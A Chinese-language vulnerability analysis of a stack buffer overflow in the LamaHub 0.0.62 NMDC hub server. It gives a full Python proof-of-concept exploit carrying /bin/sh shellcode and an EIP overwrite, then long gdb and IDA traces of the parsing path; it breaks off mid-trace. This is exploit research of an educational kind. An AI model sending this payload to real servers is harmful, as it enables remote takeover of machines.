LamaHub 0.0.62远程代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


LamaHub是NMDC协议的一个客户端,NMDC协议主要负责的是P2P客户端服务器交互的一种协议,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。

软件下载:
http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gz

PoC:

import socket

HOST = 'localhost'
PORT = 4111
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

buf = ""
buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73"
buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63"
buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79"
buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e"
buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24"
buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24"
buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c"
buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c"
buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65"

#NEED padding of 96
shellcode = "\x90" *30
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
shellcode += "\x90"*42
print "Shellcode len: "
print len(shellcode)

buf2 = "\x61\x3c"
buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"
buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"
buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

eip_overwrite = "\x2a\x6a\x06\x08"
#eip_overwrite = "AAAA"
buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"
buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c"
buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30"
buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca"
buf3 += "\x0a"

# Send EVIL PACKET !
s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3)
s.close()

漏洞复现


首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息。

gdb-peda$ run
Starting program: /root/Desktop/0.0.6.2/server 
> ERROR -> Plugin -> File plugins.conf dont found
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:  push   esi
   0x8066a28 <buf+40>:  popa   
   0x8066a29 <buf+41>:  ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:  imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:  imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:  imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:  push   esi
   0x8066a3d <buf+61>:  outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08066a2a in buf ()

可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。

gdb-peda$ bt
#0  0x08066a2a in buf ()
#1  0x080626d6 in buf ()
#2  0xb1b1b1b1 in ?? ()
#3  0xb1b1b1b1 in ?? ()
#4  0xb1b1b1b1 in ?? ()
#5  0x2c303737 in ?? ()
#6  0x4f464e49 in ?? ()
#7  0xcacaca24 in ?? ()
#8  0x505a20ca in ?? ()
#9  0x7c203065 in ?? ()
#10 0xbffff308 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。


漏洞分析


通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。

gdb-peda$ b *0x08052ef7
Breakpoint 1 at 0x8052ef7
gdb-peda$ r
Starting program: /root/Desktop/0.0.6.2/server 
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x4 
EDX: 0x10 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052ef7 (<loop+231>: call   0x8049210 <recv@plt>)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eea <loop+218>:    push   0x8066a00
   0x8052eef <loop+223>:    push   ecx
   0x8052ef0 <loop+224>:    mov    BYTE PTR ds:0x8066a00,0x0
=> 0x8052ef7 <loop+231>:    call   0x8049210 <recv@plt>
   0x8052efc <loop+236>:    add    esp,0x10
   0x8052eff <loop+239>:    test   eax,eax
   0x8052f01 <loop+241>:    mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:    je     0x8052f40 <loop+304>
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0x8066a00 --> 0x0 
arg[2]: 0x3ff 
arg[3]: 0x0 

发送payload后,程序命中了一处断点,之后单步步过。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x4 
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052efc (<loop+236>: add    esp,0x10)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eef <loop+223>:    push   ecx
   0x8052ef0 <loop+224>:    mov    BYTE PTR ds:0x8066a00,0x0
   0x8052ef7 <loop+231>:    call   0x8049210 <recv@plt>
=> 0x8052efc <loop+236>:    add    esp,0x10
   0x8052eff <loop+239>:    test   eax,eax
   0x8052f01 <loop+241>:    mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:    je     0x8052f40 <loop+304>
   0x8052f08 <loop+248>:    mov    BYTE PTR [eax+0x8066a00],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff3f0 --> 0x4 
0004| 0xbffff3f4 --> 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
0008| 0xbffff3f8 --> 0x3ff 
0012| 0xbffff3fc --> 0x0 
0016| 0xbffff400 --> 0x0 
0020| 0xbffff404 --> 0x0 
0024| 0xbffff408 --> 0x3 
0028| 0xbffff40c --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08052efc in loop ()

可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。

gdb-peda$ x/100x 0x08066a00
0x8066a00 <buf>:    0x70755324  0x74726f70  0x73552073  0x206f6c6c
0x8066a10 <buf+16>: 0x20325049  0x63726165  0x505a2068  0x7c203065
0x8066a20 <buf+32>: 0x79654b24  0x56247c61  0x64696c61  0x4e657461
0x8066a30 <buf+48>: 0x206b6369  0x72656950  0x247c6572  0x206e6556
0x8066a40 <buf+64>: 0x30302c31  0x247c3139  0x4e000147  0x4c6b633b
0x8066a50 <buf+80>: 0x7c747369  0x49794d24  0x204f464e  0x4c4c4124
0x8066a60 <buf+96>: 0x65695020  0x20657272  0x9090654a  0x90909090
0x8066a70 <buf+112>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066a80 <buf+128>:    0x90909090  0x90909090  0x6850c031  0x68732f2f
0x8066a90 <buf+144>:    0x69622f68  0x31e3896e  0x6aca89c9  0x80cd580b
0x8066aa0 <buf+160>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066ab0 <buf+176>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066ac0 <buf+192>:    0x90909090  0x90909090  0x3c619090  0x794d243c
0x8066ad0 <buf+208>:    0x24350080  0x30246970  0x37373724  0x37373737
0x8066ae0 <buf+224>:    0x37373737  0xb1b1b137  0xb1b1b1b1  0xb1b1b1b1
0x8066af0 <buf+240>:    0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1
0x8066b00 <buf+256>:    0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1
0x8066b10 <buf+272>:    0xb1b1b1b1  0x2c2c2cb1  0x2c2c2c2c  0x2c2c2c2c
0x8066b20 <buf+288>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b30 <buf+304>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b40 <buf+320>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b50 <buf+336>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b60 <buf+352>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b70 <buf+368>:    0x08066a2a  0x080626d6  0xb1b1b1b1  0xb1b1b1b1
0x8066b80 <buf+384>:    0xb1b1b1b1  0x2c303737  0x4f464e49  0xcacaca24
0x8066b90 <buf+400>:    0x505a20ca  0x7c203065  0x79654b24  0x56247c61
0x8066ba0 <buf+416>:    0x30204120  0x56247c61  0x206b6369  0xcaca6950

畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用parse_token,这个主要是负责验证逻辑。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8052e82 (<loop+114>: call   0x8050cf0 <parse_token>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052e7b <loop+107>:    push   eax
   0x8052e7c <loop+108>:    push   0x8066a00
   0x8052e81 <loop+113>:    push   ebx
=> 0x8052e82 <loop+114>:    call   0x8050cf0 <parse_token>
   0x8052e87 <loop+119>:    add    esp,0x10
   0x8052e8a <loop+122>:    cmp    eax,0xffffffff
   0x8052e8d <loop+125>:    je     0x8052f4c <loop+316>
   0x8052e93 <loop+131>:    sub    esp,0xc
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
arg[2]: 0x1b1 

可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。

int __cdecl parse_token(void *a1, char *src, size_t a3)
{
  signed __int32 v3; // edx@1
  int result; // eax@2
  char *v5; // ebp@3
  signed int v6; // ebx@3
  signed __int32 v7; // ecx@7
  char *v8; // edi@15
  char *v9; // esi@15
  signed int v10; // ecx@17
  signed __int32 v11; // ST2C_4@19
  signed int v12; // [sp+Ch] [bp-30h]@3
  unsigned int n; // [sp+10h] [bp-2Ch]@14

  v3 = a3;
  if ( *src == 60 )
    return proto_state_handler(a1, src, a3);
  result = 1;
  if ( (signed int)a3 > 0 )
  {
    v5 = src;
    result = 1;
    v6 = 0;
    v12 = -1;
    while ( 1 )
    {
      if ( *v5 != 36 || v12 >= v6 )
        goto LABEL_12;
      if ( v3 < v6 )
        break;
      v7 = v6;
      do
        ++v7;
      while ( src[v7] != 124 && v7 <= v3 );
      if ( v7 - v6 == -1 )
        return 0;
      if ( v7 - v6 + 1 <= 1023 )
      {
        n = v7 - v6 + 1;
        v12 = v7;
        goto LABEL_15;
      }
LABEL_12:
      ++v6;
      ++v5;
      if ( v6 == v3 )
        return result;
    }
    v12 = v6;
    n = 1;
LABEL_15:
    v8 = &token_buf;
    v9 = v5;
    if ( n >= 4 )
    {
      qmemcpy(&token_buf, v5, 4 * (n >> 2));
      v9 = &v5[4 * (n >> 2)];
      v8 = &token_buf + 4 * (n >> 2);
    }
    v10 = 0;
    if ( n & 2 )
    {
      *(_WORD *)v8 = *(_WORD *)v9;
      v10 = 2;
      if ( !(n & 1) )
      {
LABEL_19:
        v11 = v3;
        *(&token_buf + n) = 0;
        result = proto_state_handler(a1, &token_buf, n);
        v3 = v11;
        if ( result == -1 )
          return -1;
        goto LABEL_12;
      }
    }
    else if ( !(n & 1) )
    {
      goto LABEL_19;
    }
    v8[v10] = v9[v10];
    goto LABEL_19;
  }
  return result;
}

在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。

[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x0 
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
EDI: 0x8062720 --> 0x0 
EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8050ddb (<parse_token+235>:  call   0x80551b0 <proto_state_handler>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")
0008| 0xbffff3a8 --> 0x20 (' ')
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x1f 

这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")

继续执行,第三次命中

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")
0008| 0xbffff3a8 --> 0x15 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x3a (':')

可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff3a8 --> 0x144 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x197 
[------------------------------------------------------------------------------]

第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。

int proto_state_handler (user_t *u, char *data, unsigned int len)
{
    switch (u->state) {
        case PROTO_STATE_INIT:      // new user connected
             return proto_nmdc_state_init (u);
        case PROTO_STATE_SENDLOCK:  // waiting for user $Key
             return proto_nmdc_state_sendlock (u, data, len);
        case PROTO_STATE_WAITNICK:  // waiting for user $ValidateNick
             return proto_nmdc_state_waitnick (u, data, len);
        case PROTO_STATE_WAITPASS:  // waiting for user $GetPass
                 return proto_nmdc_state_waitpass (u, data, len);
        case PROTO_STATE_HELLO:     // waiting for user $MyINFO
             return proto_nmdc_state_hello (u, data, len);
        case PROTO_STATE_ONLINE:    // user is avaible now
             return proto_nmdc_state_online (u, data, len);
        case PROTO_STATE_DISCONNECTED:  // user gone out    $Quit
             return proto_nmdc_state_disconnect (u);
    }   

进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n")
EDI: 0x8062844 --> 0x0 
EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x805534a (<proto_state_handler+410>:  call   0x80539e0 <proto_nmdc_state_hello>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x805533b <proto_state_handler+395>: push   DWORD PTR [esp+0xdc]
   0x8055342 <proto_state_handler+402>: push   DWORD PTR [esp+0xdc]
   0x8055349 <proto_state_handler+409>: push   ebx
=> 0x805534a <proto_state_handler+410>: call   0x80539e0 <proto_nmdc_state_hello>
   0x805534f <proto_state_handler+415>: add    esp,0x10
   0x8055352 <proto_state_handler+418>: add    esp,0xc0
   0x8055358 <proto_state_handler+424>: pop    ebx
   0x8055359 <proto_state_handler+425>: pop    esi
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144 
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff2c4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff2c8 --> 0x144 
0012| 0xbffff2cc --> 0x80553a1 (<proto_state_handler+497>:  jmp    0x80551fa <proto_state_handler+74>)
0016| 0xbffff2d0 --> 0x1 

进入之后会根据$MyINFO内部的内容进行一些处理。比如

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3d (<proto_nmdc_state_hello+93>:    mov    esi,ebx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a2d <proto_nmdc_state_hello+77>:   jbe    0x8053d20 <proto_nmdc_state_hello+832>
   0x8053a33 <proto_nmdc_state_hello+83>:   mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:   mov    edi,0x805ac4b
=> 0x8053a3d <proto_nmdc_state_hello+93>:   mov    esi,ebx
   0x8053a3f <proto_nmdc_state_hello+95>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:   seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:  setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:  sub    ecx,eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>:    add    ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>:   mov    edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3d in proto_nmdc_state_hello ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3f (<proto_nmdc_state_hello+95>:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a33 <proto_nmdc_state_hello+83>:   mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:   mov    edi,0x805ac4b
   0x8053a3d <proto_nmdc_state_hello+93>:   mov    esi,ebx
=> 0x8053a3f <proto_nmdc_state_hello+95>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:   seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:  setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:  sub    ecx,eax
   0x8053a49 <proto_nmdc_state_hello+105>:  movsx  ebp,cl
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>:    add    ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>:   mov    edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3f in proto_nmdc_state_hello ()

这里会对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x806c320 --> 0x80670c0 (0x0806c320)
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0xb7e65000 (<__strncpy_sse2+3504>: mov    DWORD PTR [edi],edx)
EDX: 0x144 
ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EDI: 0x1 
EBP: 0x0 
